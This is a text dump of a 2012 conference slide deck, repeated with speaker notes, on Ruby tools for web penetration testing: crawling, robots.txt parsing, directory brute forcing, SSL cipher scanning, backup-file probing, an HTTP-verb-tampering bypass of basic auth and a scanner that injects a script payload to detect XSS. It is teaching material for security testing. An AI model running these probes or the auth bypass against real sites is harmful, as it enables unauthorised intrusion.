picks and gems:
    ruby for
  penetration
     @thesp0nge
self.inspect




https://github.com/thesp0nge
@thesp0nge
http://armoredcode.com
Why ruby?

• API
 • networking
 • string manipulation
• Net::HTTP
• Coolness


                  3
Disclaimer




Attack only sites you’re authorized to

                  4
What to test?
class Developer            class Developer
 # a bunch of great         include
 # methods here             Person::Attacker
end                         # a plenty of great
                            # methods here
                           end
Change your mindset.
You’re an attacker
now!


                       5
What to test?
                       Your app is a
                       black box
                                      You must
class Developer                       gather
                                      informations
 include
                                      about it
 Person::Attacker
 # a plenty of great                  You don’t have
 # methods here                       credentials
end
                           Ooh look... a
                           web form...
                            RubyDay IT, Milan, 15 June
                       6
                            2012
Leverage your attack surface
“It’s my web application. I don’t even promote it. I have all the
informations about it, what are you talking about?”

Deep knowledge of
the underlying
technology
Spot attack
entrypoints
Check transport
layer security
Check for the
service door

                                            RubyDay IT, Milan, 15 June
                                        7
                                            2012
Leverage your attack surface
robots.t            to discover
xt
           to fingerprint




                                      RubyDay IT, Milan, 15 June
                                  8
                                      2012
Leverage your attack surface
 $ gem install links
 $ links -r http://www.yourtarget.com
                            # TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001)
                            def self.robots(site, only_disallow=true)


                              if (! site.start_with? 'http://') and (! site.start_with? 'https://')
                                site = 'http://'+site
                              end
                              list = []
                              begin
                                res=Net::HTTP.get_response(URI(site+'/robots.txt'))
                                if (res.code != "200")
                                  return []
                                end
“Just a bunch of ruby loc       res.body.split("n").each do |line|

away...”                          if only_disallow
                                    if (line.downcase.start_with?('disallow'))
                                      list << line.split(":")[1].strip.chomp
                                    end
                                  else
                                    if (line.downcase.start_with?('allow') or line.downcase.start_with?('disallow'))
                                      list << line.split(":")[1].strip.chomp
                                    end
                                  end
                                end
                              rescue
                                return []
                              end
                              list
                            end                         RubyDay IT, Milan, 15 June
                                                9
                                                        2012
Demo


 10
• Search engines crawl your
  site they are polite, you
  can ask not to do it
• Attackers crawl your site...
  they are not polite.
     $ gem install anemone

     require 'anemone'

     Anemone.crawl("http://www.target.com/") do |anemone|
       anemone.on_every_page do |page|
           puts page.url
       end
     end
                             11   event name
Demo


 12
Build a transparent
Sometimes you need to observe the requests
your browser makes while using a website...
async calls are so sweets...



$ gem install casper
                       Useful to check
$ casper               javascripts or urls called
                       on going... while manual
                       browsing your target site


                             RubyDay IT, Milan, 15 June
                        13
                             2012
Build a transparent
                                           module Casper
                                             class Proxy < WEBrick::HTTPProxyServer
                                               attr_reader :req_count
                                               attr_reader :hosts




       Extending
                                           def initialize(config={})
                                             @req_count = 0
                                             @hosts=[]

        WEBRick                              config[:Port] ||= 8080
                                             config[:AccessLog] = []
                                             config[:ProxyContentHandler] = Proc.new do |req, res|
                                               log_requests(req, res)
                                             end

                                             super(config)
                                           end



private
  def log_requests(req, res)
    $stdout.puts "[#{Time.now}] #{req.request_line.chomp}n"
    if @hosts.index(req.host).nil?
      @hosts << req.host
    end                                                                     Make the
                                                                            business
    inc_req_count
  end

  def inc_req_count
    @req_count += 1
  end
                                                               RubyDay IT, Milan, 15 June
                                                        14
                                                               2012
Demo


 15
enchant: brute force discovery

Very    intrusive   attack...
discover web directories
using brute force. You’ll be
busted
  $ gem install enchant
  $ enchant   http://www.yourtarget.com




                                    RubyDay IT, Milan, 15 June
                               16
                                    2012
Demo


 17
Web Application fingerpring
Web servers answer to the
same HTTP request in
different way.
                                    GET / HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT                 HTTP/1.1 200 OK
Server: Apache/1.3.23                                Server: Microsoft-IIS/5.0
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT        Content-Location: http://iis.example.com/Default.htm
ETag: 32417-c4-3e5d8a83                              Date: Fri, 01 Jan 1999 20:13: 52 GMT
Accept-Ranges: bytes                                 Content-Type: text/HTML
Content-Length: 196                                  Accept-Ranges: bytes
Connection: close                                    Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML                              ETag: W/e0d362a4c335be1: ae1
                                                     Content-Length: 133



                   http://code.google.com/p/
                   webapplicationfingerprinter/

                                                     RubyDay IT, Milan, 15 June
                                                18
                                                     2012
SSL Testing
  Evaluate an SSL connection
              for:
• protocols the server supports
• cipher length
• certificate key length


$ gem install ciphersurfer
$ ciphersurfer www.gmail.com
Evaluating secure communication with www.gmail.com:443
  Overall evaluation : B (76.5)
    Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55)
        Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80)
     Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90)




                                                                   RubyDay IT, Milan, 15 June
                                                           19
                                                                   2012
SSL Testing
protocol_version.each do |version|
  s =
Ciphersurfer::Scanner.new({:host=>host,
:port=>port, :proto=>version})

  s.go
  if (s.ok_ciphers.size != 0)
    supported_protocols << version
    cipher_bits = cipher_bits | s.ok_bits
                                            def go
    ciphers = ciphers | s.ok_ciphers
                                              context=OpenSSL::SSL::SSLContext.new(@proto)
  end                                         cipher_set = context.ciphers
                                              cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|
end
                                                request = Net::HTTP.new(@host, @port)
                                                request.use_ssl = true
                                                request.verify_mode = OpenSSL::SSL::VERIFY_NONE
                                                request.ciphers= cipher_name
                                                begin
                                                  response = request.get("/")
                                                  @ok_bits << bits
                                                  @ok_ciphers << cipher_name
                                                rescue OpenSSL::SSL::SSLError => e
                                                  # Quietly discard SSLErrors, really I don't care if the cipher has
                                                  # not been accepted
                                                rescue
                                                  # Quietly discard all other errors... you must perform all error
                                                  # chekcs in the calling program
                                                end
                                              end
                                            end
                                                     RubyDay IT, Milan, 15 June
                                             20
                                                     2012
Demo


 21
Check for backup
 Crawl the web site and
 append file extension to
 your GETs
require 'anemone'
require 'httpclient'

h=HTTPClient.new()
Anemone.crawl(ARGV[0]) do |anemone|
  anemone.on_every_page do |page|
      response = h.get(page.url)
      puts "Original: #{page.url}: #{response.code}"
      response = h.get(page.url.to_s.split(";")[0].concat(".bak"))
      puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}"
      response = h.get(page.url.to_s.split(";")[0].concat(".old"))
      puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}"
      response = h.get(page.url.to_s.split(";")[0].concat("~"))
      puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}"
  end
end




                                                             RubyDay IT, Milan, 15 June
                                                      22
                                                             2012
Demo


 23
Bypass
A case study for a PHP 5.3 application using
basic auth: with a tampered HTTP verb you can
access to protected urls
                                                  require 'net/http'

  Create a custom HTTP                            class Dammi < Net::HTTPRequest
                                                    METHOD="DAMMI"
           verb                                     REQUEST_HAS_BODY = false
                                                    RESPONSE_HAS_BODY = true
                                                  end




  http=Net::HTTP.new('www.mytarget.nonexistent', 80)
  r_a = http.request(Dammi.new("/backend/index.php"))   Make the request
  puts r_a.body




                                                 RubyDay IT, Milan, 15 June
                                           24
                                                 2012
Cross site scripting
Executing arbitrary javascript code at client
site by submitting a crafted parameter on a
web form




                            RubyDay IT, Milan, 15 June
                       25
                            2012
Cross site scripting
$ gem install cross
$ cross   http://www.yourtarget.com

      module Cross
        # Engine is the cross class using Mechanize to inject canary and check for
        # output
        class Engine
          include Singleton
          attr_reader :agent
          # Starts the engine
          def start
            @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")}
            @agent.user_agent_alias = 'Mac Safari'
          end
          def inject(url)
            found = false
            page = @agent.get(url)
            page.forms.each do |f|
              f.fields.each do |ff|
                 ff.value = "<script>alert('cross canary');</script>"
              end
              pp = @agent.submit(f)
              scripts = pp.search("//script")
              scripts.each do |sc|
                 if sc.children.text == "alert('cross canary');"
                   found = true
                 end
              end
            end
            found
          end
        end
      end

                                                           RubyDay IT, Milan, 15 June
                                                   26
                                                           2012
Cross site scripting
#!/usr/bin/env ruby

$LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + '/../lib'))

require   'mechanize'
require   'ap'
require   'logger'
require   'cross'


host = Cross::Host.new(ARGV[0])
ap "cross " + Cross::Version.version[:string] + " (C) 2011 - thesp0nge"
ap "target: " + host.host

engine = Cross::Engine.instance
engine.start

if engine.inject(ARGV[0])
  ap "Canary found in output page. Suspected XSS"
end




                                       It doesn’t work with iframe
                                                 apps :-(
                                                          RubyDay IT, Milan, 15 June
                                                    27
                                                          2012
Demo


 28
What we learnt

• Don’t trust your users
• “Security through obscurity” is EVIL
• Testing for security issues is a
  mandatory step before deploy
• HTTPS won’t safe from XSS or SQL
  Injections



                  29
Some links before we
    http://armoredcode.com/blog/categories/pentest-
    with-ruby/
https://gist.github.com/2935464 for anemone crawling demo)
                             (gist

    https://github.com/thesp0nge/links
      https://github.com/thesp0nge/
                ciphersurfer
    https://github.com/thesp0nge/enchant
    https://github.com/thesp0nge/cross
    http://www.owasp.org
    http://ronin-ruby.github.com/
    https://github.com/rapid7/metasploit-framework
                                  RubyDay IT, Milan, 15 June
                             30
                                  2012
Questions?


    31   event name
Thank you!


    32   event name

Picking gem ruby for penetration testers

  • 1.
    picks and gems: ruby for penetration @thesp0nge
  • 2.
  • 3.
    Why ruby? • API • networking • string manipulation • Net::HTTP • Coolness 3
  • 4.
    Disclaimer Attack only sitesyou’re authorized to 4
  • 5.
    What to test? classDeveloper class Developer # a bunch of great include # methods here Person::Attacker end # a plenty of great # methods here end Change your mindset. You’re an attacker now! 5
  • 6.
    What to test? Your app is a black box You must class Developer gather informations include about it Person::Attacker # a plenty of great You don’t have # methods here credentials end Ooh look... a web form... RubyDay IT, Milan, 15 June 6 2012
  • 7.
    Leverage your attacksurface “It’s my web application. I don’t even promote it. I have all the informations about it, what are you talking about?” Deep knowledge of the underlying technology Spot attack entrypoints Check transport layer security Check for the service door RubyDay IT, Milan, 15 June 7 2012
  • 8.
    Leverage your attacksurface robots.t to discover xt to fingerprint RubyDay IT, Milan, 15 June 8 2012
  • 9.
    Leverage your attacksurface $ gem install links $ links -r http://www.yourtarget.com # TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001) def self.robots(site, only_disallow=true) if (! site.start_with? 'http://') and (! site.start_with? 'https://') site = 'http://'+site end list = [] begin res=Net::HTTP.get_response(URI(site+'/robots.txt')) if (res.code != "200") return [] end “Just a bunch of ruby loc res.body.split("n").each do |line| away...” if only_disallow if (line.downcase.start_with?('disallow')) list << line.split(":")[1].strip.chomp end else if (line.downcase.start_with?('allow') or line.downcase.start_with?('disallow')) list << line.split(":")[1].strip.chomp end end end rescue return [] end list end RubyDay IT, Milan, 15 June 9 2012
  • 10.
  • 11.
    • Search enginescrawl your site they are polite, you can ask not to do it • Attackers crawl your site... they are not polite. $ gem install anemone require 'anemone' Anemone.crawl("http://www.target.com/") do |anemone| anemone.on_every_page do |page| puts page.url end end 11 event name
  • 12.
  • 13.
    Build a transparent Sometimesyou need to observe the requests your browser makes while using a website... async calls are so sweets... $ gem install casper Useful to check $ casper javascripts or urls called on going... while manual browsing your target site RubyDay IT, Milan, 15 June 13 2012
  • 14.
    Build a transparent module Casper class Proxy < WEBrick::HTTPProxyServer attr_reader :req_count attr_reader :hosts Extending def initialize(config={}) @req_count = 0 @hosts=[] WEBRick config[:Port] ||= 8080 config[:AccessLog] = [] config[:ProxyContentHandler] = Proc.new do |req, res| log_requests(req, res) end super(config) end private def log_requests(req, res) $stdout.puts "[#{Time.now}] #{req.request_line.chomp}n" if @hosts.index(req.host).nil? @hosts << req.host end Make the business inc_req_count end def inc_req_count @req_count += 1 end RubyDay IT, Milan, 15 June 14 2012
  • 15.
  • 16.
    enchant: brute forcediscovery Very intrusive attack... discover web directories using brute force. You’ll be busted $ gem install enchant $ enchant http://www.yourtarget.com RubyDay IT, Milan, 15 June 16 2012
  • 17.
  • 18.
    Web Application fingerpring Webservers answer to the same HTTP request in different way. GET / HTTP/1.0 HTTP/1.1 200 OK Date: Sun, 15 Jun 2003 17:10: 49 GMT HTTP/1.1 200 OK Server: Apache/1.3.23 Server: Microsoft-IIS/5.0 Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT Content-Location: http://iis.example.com/Default.htm ETag: 32417-c4-3e5d8a83 Date: Fri, 01 Jan 1999 20:13: 52 GMT Accept-Ranges: bytes Content-Type: text/HTML Content-Length: 196 Accept-Ranges: bytes Connection: close Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT Content-Type: text/HTML ETag: W/e0d362a4c335be1: ae1 Content-Length: 133 http://code.google.com/p/ webapplicationfingerprinter/ RubyDay IT, Milan, 15 June 18 2012
  • 19.
    SSL Testing Evaluate an SSL connection for: • protocols the server supports • cipher length • certificate key length $ gem install ciphersurfer $ ciphersurfer www.gmail.com Evaluating secure communication with www.gmail.com:443 Overall evaluation : B (76.5) Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55) Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80) Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90) RubyDay IT, Milan, 15 June 19 2012
  • 20.
    SSL Testing protocol_version.each do|version| s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version}) s.go if (s.ok_ciphers.size != 0) supported_protocols << version cipher_bits = cipher_bits | s.ok_bits def go ciphers = ciphers | s.ok_ciphers context=OpenSSL::SSL::SSLContext.new(@proto) end cipher_set = context.ciphers cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits| end request = Net::HTTP.new(@host, @port) request.use_ssl = true request.verify_mode = OpenSSL::SSL::VERIFY_NONE request.ciphers= cipher_name begin response = request.get("/") @ok_bits << bits @ok_ciphers << cipher_name rescue OpenSSL::SSL::SSLError => e # Quietly discard SSLErrors, really I don't care if the cipher has # not been accepted rescue # Quietly discard all other errors... you must perform all error # chekcs in the calling program end end end RubyDay IT, Milan, 15 June 20 2012
  • 21.
  • 22.
    Check for backup Crawl the web site and append file extension to your GETs require 'anemone' require 'httpclient' h=HTTPClient.new() Anemone.crawl(ARGV[0]) do |anemone| anemone.on_every_page do |page| response = h.get(page.url) puts "Original: #{page.url}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".bak")) puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".old")) puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat("~")) puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}" end end RubyDay IT, Milan, 15 June 22 2012
  • 23.
  • 24.
    Bypass A case studyfor a PHP 5.3 application using basic auth: with a tampered HTTP verb you can access to protected urls require 'net/http' Create a custom HTTP class Dammi < Net::HTTPRequest METHOD="DAMMI" verb REQUEST_HAS_BODY = false RESPONSE_HAS_BODY = true end http=Net::HTTP.new('www.mytarget.nonexistent', 80) r_a = http.request(Dammi.new("/backend/index.php")) Make the request puts r_a.body RubyDay IT, Milan, 15 June 24 2012
  • 25.
    Cross site scripting Executingarbitrary javascript code at client site by submitting a crafted parameter on a web form RubyDay IT, Milan, 15 June 25 2012
  • 26.
    Cross site scripting $gem install cross $ cross http://www.yourtarget.com module Cross # Engine is the cross class using Mechanize to inject canary and check for # output class Engine include Singleton attr_reader :agent # Starts the engine def start @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")} @agent.user_agent_alias = 'Mac Safari' end def inject(url) found = false page = @agent.get(url) page.forms.each do |f| f.fields.each do |ff| ff.value = "<script>alert('cross canary');</script>" end pp = @agent.submit(f) scripts = pp.search("//script") scripts.each do |sc| if sc.children.text == "alert('cross canary');" found = true end end end found end end end RubyDay IT, Milan, 15 June 26 2012
  • 27.
    Cross site scripting #!/usr/bin/envruby $LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + '/../lib')) require 'mechanize' require 'ap' require 'logger' require 'cross' host = Cross::Host.new(ARGV[0]) ap "cross " + Cross::Version.version[:string] + " (C) 2011 - thesp0nge" ap "target: " + host.host engine = Cross::Engine.instance engine.start if engine.inject(ARGV[0]) ap "Canary found in output page. Suspected XSS" end It doesn’t work with iframe apps :-( RubyDay IT, Milan, 15 June 27 2012
  • 28.
  • 29.
    What we learnt •Don’t trust your users • “Security through obscurity” is EVIL • Testing for security issues is a mandatory step before deploy • HTTPS won’t safe from XSS or SQL Injections 29
  • 30.
    Some links beforewe http://armoredcode.com/blog/categories/pentest- with-ruby/ https://gist.github.com/2935464 for anemone crawling demo) (gist https://github.com/thesp0nge/links https://github.com/thesp0nge/ ciphersurfer https://github.com/thesp0nge/enchant https://github.com/thesp0nge/cross http://www.owasp.org http://ronin-ruby.github.com/ https://github.com/rapid7/metasploit-framework RubyDay IT, Milan, 15 June 30 2012
  • 31.
    Questions? 31 event name
  • 32.
    Thank you! 32 event name

Editor's Notes

  • #2 \n
  • #3 \n
  • #4 Why choosing ruby? Mainly because for its great networking API supporting HTTP natively and having a powerful regular expression engine (&gt;= 1.9). Yeah, it is cool too.\n\n
  • #5 DISCLAIMER\n
  • #6 Change your mindset\n
  • #7 A small recap on application security. Focus will be on discovery, information gathering, ssl, xss and sql injections\n
  • #8 Leverage your attack surface... what to look for?\n
  • #9 robots.txt\n
  • #10 robots.txt\n
  • #11 links -r http://www.corriere.it\n
  • #12 Crawling a website\n
  • #13 ruby crawl.rb -1 http://localhost:8080/\n
  • #14 Browsing with a transparent proxy\n
  • #15 casper code highlight\n
  • #16 ruby -I lib bin/casper &quot;&quot; 8008\n
  • #17 bruteforcing using enchant\n
  • #18 ruby -I lib bin/enchant localhost:8080 \n
  • #19 wapf... fingerprint using MD5 applied to static file common to frameworks\n
  • #20 ciphersurfer and SSL Testing\n
  • #21 ciphersurfer highlight\n
  • #22 ruby -I lib bin/ciphersurfer www.facebook.com\n
  • #23 The important to check for backup files\n
  • #24 ruby crawl.rb -2 http://localhost:8080/\n
  • #25 Bypassing auth for old written PHP app protected with basic auth and with poor configuration\n
  • #26 What XSS is\n
  • #27 cross code highlight\n
  • #28 again cross highlight\n
  • #29 ruby -I lib bin/cross &quot;http://localhost:8080/examples/xss_me.jsp&quot;\n
  • #30 what we learnt\n
  • #31 links\n
  • #32 \n
  • #33 \n